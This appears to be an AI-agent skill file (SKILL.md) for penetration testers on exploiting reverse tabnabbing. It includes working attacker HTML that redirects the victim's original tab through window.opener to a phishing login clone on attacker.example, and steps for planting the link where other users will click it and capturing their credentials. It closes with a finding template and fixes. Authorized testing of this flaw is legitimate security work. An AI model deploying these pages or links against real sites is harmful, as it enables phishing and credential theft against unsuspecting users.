exploiting-reverse-tab-nabbing

star 599

Identifying and exploiting reverse tabnabbing, where a link opened with target="_blank" without rel="noopener" gives the newly opened (attacker-controlled) page a reference to the originating window via window.opener, allowing it to redirect the original tab to a phishing clone. Activates when assessing user-controllable links, outbound links, or any anchor/window.open that opens new tabs.

xalgord By xalgord schedule Updated 6/6/2026

name: exploiting-reverse-tab-nabbing description: Identifying and exploiting reverse tabnabbing, where a link opened with target="_blank" without rel="noopener" gives the newly opened (attacker-controlled) page a reference to the originating window via window.opener, allowing it to redirect the original tab to a phishing clone. Activates when assessing user-controllable links, outbound links, or any anchor/window.open that opens new tabs. domain: cybersecurity subdomain: web-application-security tags:

  • penetration-testing
  • reverse-tabnabbing
  • phishing
  • owasp
  • web-security version: '1.0' author: xalgorix license: Apache-2.0

Exploiting Reverse Tab Nabbing

When to Use

  • During authorized assessments where users can control the href of links rendered to other users
  • When the app renders outbound/user-supplied links with target="_blank" (profile URLs, comments, posts, support tickets)
  • When testing "open in new tab" behaviors, share links, or SSO/OAuth pop-ups
  • When reviewing markdown/rich-text renderers that auto-link URLs without rel="noopener"
  • When evaluating phishing resistance of flows that send users to external sites

Prerequisites

  • Authorization: Engagement scope covering client-side/phishing-style findings
  • Attacker-controlled page: A page that uses window.opener to redirect the original tab
  • A victim flow: A place where you can inject or supply a link that another user will click
  • Two test accounts / a victim browser: To click the link and observe the original tab change
  • A convincing clone: A look-alike of the original login page to demonstrate credential capture

Critical: Variants Most Often Missed

Testers check for rel="noopener" and stop. The nuance is the exact attribute combinations that remain vulnerable and the cross-origin opener surface.

# VULNERABLE link conditions:
target="_blank" rel="opener"           # explicitly grants opener
target="_blank"  (no rel at all)       # if no rel="noopener"/"noreferrer" -> vulnerable
window.open(url)                        # returns a window the new page can reach back via opener
# Note: modern browsers default anchors with target=_blank to noopener, BUT:
#  - rel="opener" re-enables it
#  - window.open() is NOT covered by the anchor default
#  - older browsers / embedded webviews may still leak opener

# SAFE conditions (should be present):
rel="noopener"   rel="noreferrer"   rel="noopener noreferrer"

Attacker page that hijacks the original tab (malicious.html):

<!DOCTYPE html><html><body>
<script>
  // The opener is the ORIGINAL site's window. Redirect it to a phishing clone.
  window.opener.location = "https://attacker.example/victim-login-clone.html";
</script>
</body></html>

Vulnerable target markup that makes it work (vulnerable.html):

<a href="https://attacker.example/malicious.html" target="_blank" rel="opener">Open</a>
<!-- also vulnerable: target="_blank" with NO rel attribute -->

Cross-origin window.opener surface still reachable (limited but useful):

opener.closed   opener.frames   opener.length
opener.opener   opener.parent   opener.self   opener.top
# If SAME-origin, the attacker page gets the FULL window object of the original page.

How to CONFIRM a hit (avoid false negatives)

  • Opener reference exists: on the attacker page, window.opener is non-null after the victim clicks the link.
  • Original tab navigates: setting window.opener.location actually changes the URL of the original tab to your attacker/clone page — the definitive confirmation. Demonstrate locally with python3 -m http.server and watch the original tab's URL change.
  • Cross-origin vs same-origin: cross-origin you can still call window.opener.location = ... (navigation is allowed) even though property reads are limited; same-origin you gain full window access. Note which applies.
  • For a complete finding, show the redirect lands on a credential-harvesting clone (background tab swap) — the victim returns to a tab that now shows a fake login.
  • Confirm the link is rendered to OTHER users (stored/reflected), not just yourself, to establish real impact.

Workflow

Step 1: Find New-Tab Links

# In rendered HTML, look for target=_blank without a safe rel
grep -oE "<a[^>]*target=[\"']_blank[\"'][^>]*>" page.html | grep -v "noopener\|noreferrer"

Identify which of these links carry user-controllable href values (profiles, posts, comments, ticket bodies, markdown).

Step 2: Confirm the Vulnerable Attribute Combo

Check each candidate link for rel="opener" or a missing rel. For programmatic opens, look for window.open(userUrl) in client JS.

Step 3: Host the Hijack Page

<!-- attacker.example/malicious.html -->
<script>window.opener.location = "https://attacker.example/clone.html";</script>

Build clone.html to mirror the target's login page.

Step 4: Deliver the Link to a Victim

Inject the link where another user will click it (profile website field, comment, support message). The victim clicks, a new tab opens your page, and your script redirects their original tab.

Step 5: Demonstrate Impact

1. Victim clicks attacker link -> new tab loads malicious.html
2. malicious.html sets window.opener.location -> original tab silently navigates to clone.html
3. Victim finishes with the new tab, returns to the original tab, sees a familiar-looking login
4. Victim re-enters credentials -> captured by the clone

Note stealthier abuse: with opener access the attacker can also manipulate events/exfiltrate if same-origin.

Step 6: Verify Reproducibility Locally

# Place vulnerable.html, malicious.html, malicious_redir.html in a folder
python3 -m http.server
# Visit http://127.0.0.1:8000/vulnerable.html, click the link, watch the original tab URL change

Key Concepts

Concept Description
window.opener Reference the newly opened page holds to the window that opened it
target="_blank" Opens the link in a new tab/window; historically shared the opener
rel="opener" Explicitly grants the opener reference, re-enabling the vuln even with modern defaults
rel="noopener" Severs window.opener (set to null) — the primary fix
window.open() JS API that returns a window the opened page can reach back to; not covered by anchor defaults
Cross-origin opener Limited but still allows opener.location navigation of the original tab
Same-origin opener Full window object access from the opened page

Tools & Systems

Tool Purpose
python3 -m http.server Local reproduction of the vulnerable + malicious page chain
Browser devtools Inspect window.opener and observe original-tab navigation
grep / ripgrep Find target="_blank" links lacking noopener in rendered HTML
Attacker-hosted clone page Demonstrate the phishing/credential-capture impact
Markdown/rich-text renderer review Identify auto-linking that omits rel="noopener"

Common Scenarios

Scenario 1: Profile Website Link

A user profile lets members set a personal website rendered as <a target="_blank" rel="opener">. An attacker sets it to their hijack page; anyone viewing the profile who clicks it has their original tab redirected to a login clone.

Scenario 2: Markdown Comment Auto-Link

A comment system auto-links URLs without rel="noopener". The attacker posts a link; readers who open it get their original tab swapped to a phishing page mimicking the site.

Scenario 3: OAuth/SSO Pop-up

A login flow uses window.open() to an external IdP without opener protection. The opened (attacker-influenced) page redirects the parent to a fake consent screen to harvest credentials.

Output Format

## Reverse Tabnabbing Finding

**Vulnerability**: Reverse Tabnabbing via target="_blank" without rel="noopener"
**Severity**: Medium (CVSS 5.4)
**Location**: User profile website link (stored, rendered to other users)
**OWASP Category**: A01:2021 - Broken Access Control / Client-Side

### Reproduction Steps
1. Set profile website to https://attacker.example/malicious.html
2. The app renders <a href="..." target="_blank" rel="opener">
3. Victim views the profile and clicks the link -> new tab opens
4. malicious.html runs window.opener.location = clone.html
5. Victim's ORIGINAL tab silently navigates to a phishing clone of the login page

### Evidence
| Check | Result |
|-------|--------|
| Rendered attribute | target="_blank" rel="opener" |
| window.opener | non-null on attacker page |
| Original tab | navigated to attacker clone |

### Impact
Phishing with high credibility: the victim returns to what looks like the real
site's login and re-enters credentials, which the attacker captures.

### Recommendation
1. Add rel="noopener noreferrer" to all target="_blank" links, especially user-supplied/outbound
2. Never use rel="opener" on links to untrusted destinations
3. For window.open(), set the returned window's opener to null or pass noopener
4. Sanitize rich-text/markdown so auto-linked anchors always include rel="noopener"
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill exploiting-reverse-tab-nabbing
Repository Details
star Stars 599
call_split Forks 104
navigation Branch main
article Path SKILL.md
More from Creator